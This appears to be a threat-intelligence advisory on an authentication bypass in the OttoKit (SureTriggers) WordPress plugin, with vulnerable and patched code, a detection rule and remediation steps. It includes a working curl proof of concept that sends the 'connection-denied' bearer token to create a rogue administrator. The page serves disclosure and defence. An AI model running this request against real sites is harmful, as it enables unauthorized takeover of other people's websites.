Skip to content

CVE-2026-110372: Brainstorm Force OttoKit (SureTriggers) Unauthenticated Privilege Escalation & Admin Takeover via 'connection-denied' Sentinel Token Bypass

Density:
C-Level Executive Briefing CVE-2026-110372 CRITICAL SCORE 93/100

Critical unauthenticated privilege escalation and authentication bypass in the Brainstorm Force OttoKit (formerly SureTriggers, slug: suretriggers) WordPress automation plugin versions <= 1.1.40 (and incomplete fix in 1.1.41, fully remediated in 1.1.42 via WordPress Plugin Trac Changeset 3747752). When an OttoKit installation has not completed SaaS onboarding or had its connection handshake denied, SaasApiToken::get() stores or returns the hardcoded fallback sentinel string 'connection-denied'. Because REST authentication middleware (AuthController::authenticate_rest() and SaasApiToken::verify()) verified only that the stored secret was non-empty and matched the caller's Bearer token without rejecting the 'connection-denied' sentinel literal, an unauthenticated remote attacker can send 'Authorization: Bearer connection-denied' to /wp-json/sure-triggers/v1/automation/action or /wp-json/sure-triggers/v1/connection/create-wp-connection to create rogue administrator accounts and take over the WordPress host. Disclosed alongside CVE-2026-109894 (CVSS 9.3, CWE-89 Unauthenticated SQL Injection) in Arraytics Booktics <= 1.0.29.

HYBRID

HERMES THREAT SCORE & WORDPRESS SAAS AUTOMATION BRIDGE EVALUATION

Target: OttoKit (SureTriggers) SaaS API Token Manager & REST Automation Controller (src/Controllers/AuthController.php, RestController.php & SaasApiToken.php)
Confidence: 99%
93 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 19 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 scores CVE-2026-110372 at 9.8 (Critical). The Hermes Threat Score evaluates this vulnerability at 93 (CRITICAL) with a Hermes Agentic Security Score (HASS) of 88 (CRITICAL). OttoKit (SureTriggers) is active on more than 100,000 WordPress sites as an AI and SaaS workflow automation bridge (similar to Zapier/n8n for WordPress) that exposes privileged REST endpoints capable of creating WordPress administrator accounts, executing PHP/database actions, and triggering outbound LLM/webhook automations. After earlier mass-exploited zero-days in SureTriggers (CVE-2025-3102 and CVE-2025-27007) abused empty secret_key options on unconfigured plugins, the vendor introduced the sentinel string 'connection-denied' to represent failed or unlinked SaaS onboarding. Because 'connection-denied' is a non-empty 17-character string, it satisfied !empty($secret_key) checks in REST authentication routinesโ€”inadvertently converting an error sentinel into a universal hardcoded master bearer token across every unlinked OttoKit installation.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-110372: Brainstorm Force OttoKit (SureTriggers) Unauthenticated Privilege Escalation & Admin Takeover viaVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTBrainstorm Force OttoKit (SureTriggers)
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Brainstorm Force OttoKit (SureTriggers) documented in Hermes dossier.”

Supporting Verified Evidence:

On October 18โ€“20, 2026, Patchstack and the National Vulnerability Database (NVD) published CVE-2026-110372 (CVSS v3.1 9.8 Critical, CWE-266 / CWE-287 / CWE-798), a critical Unauthenticated Privilege Escalation and Administrator Account Takeover vulnerability in OttoKit (formerly SureTriggers, plugin slug suretriggers), developed by Brainstorm Force and installed on 100,000+ WordPress sites.

  1. CVE-2026-110372 (CWE-266 / CWE-287, OttoKit / SureTriggers <= 1.1.40 & 1.1.41 Sentinel Token Bypass): OttoKit bridges WordPress sites to the external OttoKit SaaS and AI workflow automation platform via privileged REST API endpoints under /wp-json/sure-triggers/v1/*. Following mass exploitation of CVE-2025-3102 and CVE-2025-27007 (where unconfigured installations had an empty secret_key option), the plugin used the fallback string 'connection-denied' whenever a connection registration failed or was denied. However, SaasApiToken::get() and the REST authentication handlers in AuthController / RestController failed to treat 'connection-denied' as an invalid/unauthenticated state. Any remote unauthenticated attacker sending Authorization: Bearer connection-denied (or st_authorization: Bearer connection-denied) matched the stored 'connection-denied' string and gained full administrative execution privileges over /wp-json/sure-triggers/v1/automation/action and /wp-json/sure-triggers/v1/connection/create-wp-connection.
  2. Incomplete Fix in 1.1.41 & Complete Remediation in 1.1.42 (Changeset 3747752): While version 1.1.41 attempted to block 'connection-denied' in one verification path, residual token-comparison and connection-creation paths remained reachable until version 1.1.42 (WordPress Plugin Trac Changeset 3747752), which explicitly purges 'connection-denied' tokens and enforces cryptographic token validation across all REST routes.
  3. Companion Disclosure โ€” CVE-2026-109894 (CWE-89, CVSS 9.3, Arraytics Booktics <= 1.0.29 Unauthenticated SQL Injection): Disclosed in the same October 18, 2026 Patchstack/NVD batch, the Booktics appointment booking plugin (booktics, versions <= 1.0.29, patched in 1.0.30) fails to parameterize caller-supplied filter inputs in SQL queries, enabling unauthenticated attackers to extract wp_users administrator password hashes, session tokens, and customer PII.

1. Evolution of the Flaw: From Empty secret_key (CVE-2025-3102) to 'connection-denied' Sentinel (CVE-2026-110372)

Section titled โ€œ1. Evolution of the Flaw: From Empty secret_key (CVE-2025-3102) to 'connection-denied' Sentinel (CVE-2026-110372)โ€

Because OttoKit (suretriggers) is frequently bundled or recommended as an auto-installed companion plugin by popular Brainstorm Force themes and plugins (such as Astra, Spectra, SureCart, and SureForms), tens of thousands of WordPress sites have the plugin active in wp-content/plugins/suretriggers without ever completing the external OttoKit SaaS account onboarding.

To authenticate inbound webhook and automation execution requests from the OttoKit SaaS cloud to the WordPress site, the plugin stores a shared bearer secret (secret_key in the suretriggers_options option row, managed by SaasApiToken). When the SaaS handshake fails, is cancelled, or is rejected during initial setup, the onboarding handler writes the literal string 'connection-denied' as the stored token status:

// VULNERABLE PATTERN: src/Models/SaasApiToken.php & src/Controllers/RestController.php (<= 1.1.40 / 1.1.41)
namespace SureTriggers\Models;
class SaasApiToken {
/**
* Retrieve stored SaaS secret token.
*/
public static function get() {
$secret_key = OptionController::get_option( 'secret_key' );
// When connection handshake fails or is denied during setup,
// secret_key is stored as or defaults to the literal string 'connection-denied'!
return $secret_key;
}
public static function verify( $provided_token ) {
$stored_token = self::get();
// FLAW (CWE-287 / CWE-798): Checks if $stored_token is non-empty,
// but does NOT reject the sentinel string 'connection-denied'!
if ( empty( $stored_token ) || empty( $provided_token ) ) {
return false;
}
return hash_equals( (string) $stored_token, (string) $provided_token );
}
}

When an incoming HTTP request reaches /wp-json/sure-triggers/v1/automation/action, AuthController::authenticate_rest() extracts the bearer token from HTTP_AUTHORIZATION or HTTP_ST_AUTHORIZATION, strips the Bearer prefix, and compares it against SaasApiToken::get():

// VULNERABLE: src/Controllers/AuthController.php (<= 1.1.40)
public function authenticate_rest( $request ) {
$secret_key = $request->get_header( 'st_authorization' );
if ( empty( $secret_key ) ) {
$secret_key = $request->get_header( 'authorization' );
}
$secret_key = str_replace( 'Bearer ', '', (string) $secret_key );
$saved_secret_key = SaasApiToken::get();
// If $saved_secret_key === 'connection-denied' and attacker sends
// 'Bearer connection-denied', the check evaluates to TRUE!
if ( empty( $saved_secret_key ) || ! hash_equals( $saved_secret_key, $secret_key ) ) {
return new \WP_Error( 'rest_forbidden', __( 'Invalid secret key.', 'suretriggers' ), array( 'status' => 403 ) );
}
return true;
}

2. Why 1.1.41 Was Incomplete & How 1.1.42 (Changeset 3747752) Fixes It

Section titled โ€œ2. Why 1.1.41 Was Incomplete & How 1.1.42 (Changeset 3747752) Fixes Itโ€

In version 1.1.41, the developer added a check in one authentication helper but left secondary REST connection/autologin handlers (RestController::create_wp_connection() or direct OptionController::get_option('secret_key') comparisons) able to accept 'connection-denied' or overwrite connection credentials without verifying an authenticated manage_options WordPress user session.

In version 1.1.42 (WordPress Plugin Trac Changeset 3747752), Brainstorm Force patched SaasApiToken and all REST permission callbacks to explicitly reject 'connection-denied', 'null', and 'false', and required cryptographic verification before provisioning or updating connection tokens:

// PATCHED: src/Models/SaasApiToken.php & AuthController.php (1.1.42, Changeset 3747752)
public static function is_valid_saved_token( $token ) {
if ( empty( $token ) || ! is_string( $token ) ) {
return false;
}
$invalid_sentinels = array( 'connection-denied', 'null', 'false', 'undefined' );
if ( in_array( strtolower( trim( $token ) ), $invalid_sentinels, true ) ) {
return false;
}
return strlen( trim( $token ) ) >= 32;
}
flowchart TD
Attacker["Unauthenticated Remote Attacker"]
subgraph OttoKit["Vector A: OttoKit / SureTriggers <= 1.1.41 (CVE-2026-110372)"]
Unlinked["WordPress Site with OttoKit Installed<br/>Failed/Unlinked SaaS Handshake sets<br/>secret_key = 'connection-denied'"]
Req["POST /wp-json/sure-triggers/v1/automation/action<br/>Header: st_authorization: Bearer connection-denied"]
Auth["AuthController::authenticate_rest()<br/>!empty('connection-denied') &&<br/>hash_equals('connection-denied', 'connection-denied') == TRUE"]
Action["WordPress Create/Update User Action<br/>Creates Rogue 'administrator' Account<br/>Full WordPress RCE & Site Takeover"]
end
subgraph Booktics["Vector B: Arraytics Booktics <= 1.0.29 (CVE-2026-109894)"]
SQLiReq["Unauthenticated Booking Query / Filter Request<br/>Contains Unsanitized SQL Payload (CWE-89)"]
WPDB["Direct $wpdb->get_results() Interpolation<br/>Exfiltrates wp_users Hashes & Session Tokens"]
end
Attacker --> Req
Unlinked --> Auth
Req --> Auth
Auth --> Action
Attacker --> SQLiReq
SQLiReq --> WPDB
style Auth fill:#ff4d4d,stroke:#990000,color:#ffffff
style Action fill:#ff1a1a,stroke:#800000,color:#ffffff
style WPDB fill:#ff6600,stroke:#993300,color:#ffffff

Once an attacker bypasses authenticate_rest() using st_authorization: Bearer connection-denied, they can invoke the built-in WordPress create_user_if_not_exists (or create_update_user) automation action inside /wp-json/sure-triggers/v1/automation/action to register a new administrator user:

#!/usr/bin/env bash
# Proof-of-Concept: CVE-2026-110372 OttoKit (SureTriggers) <= 1.1.40 / 1.1.41
# Unauthenticated Administrator Creation via 'connection-denied' Sentinel Token
TARGET_WP="http://target-wordpress.example.com"
curl -i -sS -X POST "${TARGET_WP}/wp-json/sure-triggers/v1/automation/action" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer connection-denied" \
-H "st_authorization: Bearer connection-denied" \
-d '{
"integration": "WordPress",
"type_event": "create_user_if_not_exists",
"selected_options": {
"user_name": "hermes_audit_admin",
"user_email": "audit@example.invalid",
"password": "StrongAuditPassword!2026",
"role": "administrator"
},
"fields": [],
"context": {}
}'

Automated botnets actively scan /wp-content/plugins/suretriggers/readme.txt and probe /wp-json/sure-triggers/v1/automation/action across the public Internet. Review our related WordPress analysesโ€”CVE-2026-110886 (QuantumCloud WPBot Conversational Forms PHP Object Injection) and CVE-2026-109515 (MailOptin Unauthenticated Privilege Escalation)โ€”for comprehensive CMS fleet defense.

title: WordPress OttoKit (SureTriggers) Unauthenticated Privilege Escalation via connection-denied Sentinel (CVE-2026-110372)
id: 3f8a5c21-1103-472e-8a19-ottokit110372
status: experimental
description: Detects unauthenticated exploitation of CVE-2026-110372 against Brainstorm Force OttoKit (SureTriggers) REST API endpoints using the 'connection-denied' sentinel bearer token or rogue administrator creation payloads.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-110372
- https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerabilities
- https://plugins.trac.wordpress.org/changeset/3747752/suretriggers
author: Hermes Threat Intelligence
date: 2026/10/20
logsource:
category: webserver
detection:
selection_ottokit_uri:
cs-uri-stem|contains:
- '/wp-json/sure-triggers/v1/'
- 'rest_route=/sure-triggers/v1/'
- 'rest_route=%2Fsure-triggers%2Fv1%2F'
selection_sentinel_header:
cs-headers|contains: 'connection-denied'
selection_admin_action:
cs-method: 'POST'
request_body|contains:
- 'create_user_if_not_exists'
- '"role":"administrator"'
- '"role": "administrator"'
condition: selection_ottokit_uri and (selection_sentinel_header or selection_admin_action)
falsepositives:
- Legitimate OttoKit SaaS cloud automation explicitly configured to provision administrator accounts (rare)
level: critical
tags:
- attack.initial_access
- attack.persistence
- attack.privilege_escalation
- attack.t1190
- attack.t1136.001
- cve.2026-110372

  1. Upgrade OttoKit (suretriggers) to Version 1.1.42 or Later Immediately (CVE-2026-110372): Do not stop at version 1.1.41. Update the plugin directly to 1.1.42+ (Trac Changeset 3747752) via WP-CLI:
    Terminal window
    wp plugin update suretriggers --version=1.1.42
    If your site does not actively use OttoKit SaaS workflows (for example, if it was bundled automatically by a theme), deactivate and uninstall the plugin completely (wp plugin deactivate suretriggers && wp plugin delete suretriggers).
  2. Purge Any 'connection-denied' Sentinel Value from wp_options: Inspect the suretriggers_options entry in wp_options. If secret_key is set to 'connection-denied' or is shorter than 32 characters, delete the option or rotate the connection key from the OttoKit dashboard immediately.
  3. Update Arraytics Booktics to Version 1.0.30 or Later (CVE-2026-109894): For sites running the Booktics appointment booking plugin (booktics), update to version 1.0.30+ (wp plugin update booktics) to remediate unauthenticated SQL injection.
  4. Audit WordPress Administrator Accounts & Application Passwords: Review all users holding the administrator capability (wp user list --role=administrator), revoke all unrecognized accounts and WordPress Application Passwords, and rotate AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, and NONCE_KEY salts in wp-config.php.